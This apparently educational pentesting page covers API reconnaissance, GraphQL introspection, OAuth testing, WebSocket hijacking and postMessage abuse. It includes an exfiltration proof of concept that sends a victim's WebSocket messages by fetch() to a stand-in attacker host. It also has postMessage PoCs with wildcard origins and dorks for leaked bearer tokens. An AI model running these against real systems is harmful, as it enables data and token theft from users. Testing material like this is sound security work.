API Penetration Testing | Pentesting.Site

Pentesting APIs

Modern applications increasingly expose their core functionality directly through APIs — REST, GraphQL, SOAP and OData — rather than through server-rendered pages. These interfaces often carry weaker input validation and access control than the traditional web front end sitting in front of them, and frequently expose more functionality than the UI ever surfaces. This section covers discovering, documenting and exploiting API-specific weaknesses.

API Reconnaissance

Before testing endpoints directly, spend time mapping what actually exists. A lot of exposed API surface is never linked from the UI at all.

1
# Google dorking
2
intitle:"api" site:"target.com"
3
intitle:"json" site:"target.com"
4
inurl:"/api/v1/" site:"target.com"
5

6
# GitHub dorking for leaked keys and spec files
7
extension:json target-project
8
"authorization: Bearer"
9
filename:swagger.json
10

11
# Shodan
12
"wp-json"

Amass is useful for enumerating API subdomains alongside regular asset discovery:

1
amass enum -list                          # List all sources Amass will use
2
amass enum -active -d api.example.com

For reverse-engineering an API’s surface from normal browser/app usage, proxy the traffic with mitmproxy and convert the captured flow into an OpenAPI spec with mitmproxy2swagger:

1
mitmweb                                                          # Browse the target app/site as normal through the proxy
2
# File -> Save in mitmweb to export the flow
3
mitmproxy2swagger -i ~/Downloads/flows -o spec.yml -p https://api.example.com -f flow

Where documented paths are known but individual endpoints aren’t, Kiterunner fuzzes for real API routes far more effectively than a generic wordlist:

1
kr scan https://api.example.com -w routes-large.kite

Generic content discovery against documentation/spec paths also pays off:

1
gobuster dir -u https://api.example.com/ -w api-docs-path.txt

Further reading and wordlists: Hacking APIs (hAPI-hacker).

Documentation & Tooling

Most APIs ship (or leak) a machine-readable spec — Swagger/OpenAPI or an OData $metadata document — that’s worth converting into a testable format as early as possible.

Swagger / OpenAPI — convert a discovered swagger.json into a spreadsheet for triage, or straight into a Postman collection for testing:

1
https://json-csv.com/   # Paste the Swagger JSON, select "Matrix Style" to flatten nested fields

OData — the $metadata endpoint describes the entire entity model, which can be converted into an OpenAPI 3.0 spec and imported straight into Postman:

1
https://api.example.com/odata/v2.0/$metadata     # Save the returned XML locally
2

3
npm install                                        # From a clone of https://github.com/oasis-tcs/odata-openapi
4
node lib/cli.js pathToYourMetadataFile.xml         # Produces pathToYourMetadataFile.openapi3.json

Import the resulting OpenAPI file into Postman (File → Import, ensure “Generate collection” is checked) to get a full, ready-to-test collection of every entity and operation the OData service exposes.

Postman — once a collection exists, a few small scripts make bulk testing much faster:

1
// Pre-request script: attach a shared header to every request in a collection
2
pm.request.headers.add({ key: "X-Api-Key", value: "<value>" });

1
# Extract every unique URL out of an exported Postman collection for quick recon
2
(Get-Content '.\collection.postman_collection.json' -Raw | ConvertFrom-Json).item.request.url.raw

GraphQL

Unlike REST, a GraphQL API typically exposes a single endpoint, and introspection — if left enabled — will hand over its entire schema, including fields and mutations never used by the front end.

1
# Common endpoints to check for
2
/graphql
3
/graphiql
4
/graphql.php
5
/graphql/console
6
/api/graphql

1
# List every type in the schema
2
query {
3
  __schema {
4
    types {
5
      name
6
      description
7
    }
8
  }
9
}

1
# Full introspection query - returns the complete schema in one request
2
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}

GraphQLmap automates querying and dumping once a schema is known:

1
python3 graphqlmap.py -u https://api.example.com/graphql
2
GraphQLmap > dump_via_introspection

For interactively exploring a schema and crafting queries by hand, GraphiQL Online is a fast, no-install option.

OAuth 2.0

OAuth 2.0 is an authorization framework that lets an application request limited access to a user’s account on another service, without ever seeing that user’s credentials directly. Most implementations follow one of two flows:

Authorization code grant — the client receives a short-lived code, then exchanges it server-to-server for an access token. The more secure of the two, since tokens never transit the browser.
Implicit grant — the access token is returned directly via a browser redirect fragment. Simpler, but the lack of a back-channel exchange step makes it inherently more exposed.

Recon

Most OAuth/OpenID Connect servers publish their endpoint layout at a well-known path:

1
/.well-known/oauth-authorization-server
2
/.well-known/openid-configuration
3
/.well-known/openid-configuration/jwks
4
/connect/authorize
5
/connect/token
6
/connect/userinfo
7
/connect/introspect
8
/connect/revocation

Checklist

1
# Authorization endpoint
2
- Is there an open redirect on the redirect_uri parameter?
3
- What's the entropy of the authorization code? Can it be brute-forced?
4
- Can a client request more scope than it should be permitted?
5

6
# Token endpoint
7
- Do authorization codes expire quickly (~30 min) and work only once?
8
- Can an authorization code obtained by one client be redeemed by a different client?
9
- Are the client secret and Client ID actually validated, and where are they transmitted?
10
- Do refresh tokens expire, and can a different client redeem a refresh token than the one that issued it?
11
- Is there rate limiting on code/token/secret guessing?
12

13
# Resource server
14
- Do access tokens actually expire, and are expired/revoked tokens rejected?
15
- Are tokens accepted from the header, the body, or (worse) both?
16

17
# JWTs used as tokens
18
- Was the JWT issued for a different resource server, or signed by a different issuer?
19
- Is it signed with `alg: none`, or with a symmetric algorithm using the public key as the HMAC secret?
20
- Can you access an API that requires a scope the token doesn't actually have?

Further reading: OAuth 2.0 Security Cheat Sheet, PortSwigger — hidden OAuth attack vectors.

Testing a Refresh Flow

1
curl -X POST "https://auth.example.com/v1/auth/refresh" \
2
  -H "Authorization: Bearer <refresh_token>" \
3
  -H "Accept: application/json" \
4
  --data "grant_type=refresh_token"

Worth checking here: does the response return a new refresh token (rotation), or can the same refresh token be replayed indefinitely?

WebSockets

Where an application upgrades a connection to a WebSocket, the same cross-origin concerns that apply to regular HTTP still apply — if the server doesn’t validate the Origin header on the initial handshake, a page on any origin can open a socket to it in the victim’s authenticated context and read whatever the server streams back (Cross-Site WebSocket Hijacking).

1
<!DOCTYPE html>
2
<html>
3
<body>
4
<script>
5
const ws = new WebSocket('wss://target.example/stream');
6

7
ws.onopen = () => ws.send("READY");
8

9
ws.onmessage = async (event) => {
10
  const raw = event.data instanceof Blob ? await event.data.text() : event.data;
11
  const encoded = btoa(unescape(encodeURIComponent(raw)));
12
  fetch('https://attacker-collaborator.example/?exfil=' + encoded, { mode: 'no-cors' });
13
};
14
</script>
15
</body>
16
</html>

If this page is loaded by an authenticated victim and the server accepts the handshake regardless of Origin, every message the server streams back over the socket is silently exfiltrated to the listener.

PostMessage

window.postMessage lets two windows on different origins exchange messages, and is commonly used for embedded login widgets, SSO handoffs, and cross-frame communication. Vulnerabilities arise when a receiving page doesn’t validate the message’s origin, or when a sending page doesn’t restrict the targetOrigin it posts to.

Methodology:

Look for cross-window/iframe communication — the PostMessage-Tracker browser extension and Burp/DOM Invader both help surface postMessage listeners.
Statically review any listener for missing or overly permissive event.origin checks.
Build a proof of concept page that opens or embeds the target and posts a crafted message to see how the listener reacts.

1
<!-- Popup-based PostMessage PoC -->
2
<script>
3
  var target = window.open("https://target.example/widget", "target", "width=500,height=400");
4

5
  setTimeout(function () {
6
    target.postMessage({ method: "someHandler", value: "attacker-controlled" }, "*");
7
  }, 2000);
8
</script>

1
<!-- Iframe-based PostMessage PoC -->
2
<iframe id="targetFrame" src="https://target.example/widget"></iframe>
3
<script>
4
  function send() {
5
    document.getElementById("targetFrame").contentWindow.postMessage(
6
      { method: "someHandler", value: "attacker-controlled" },
7
      "*"
8
    );
9
  }
10
  window.onload = send;
11
</script>

Further reading: Exploiting postMessage to steal user cookies.

API Security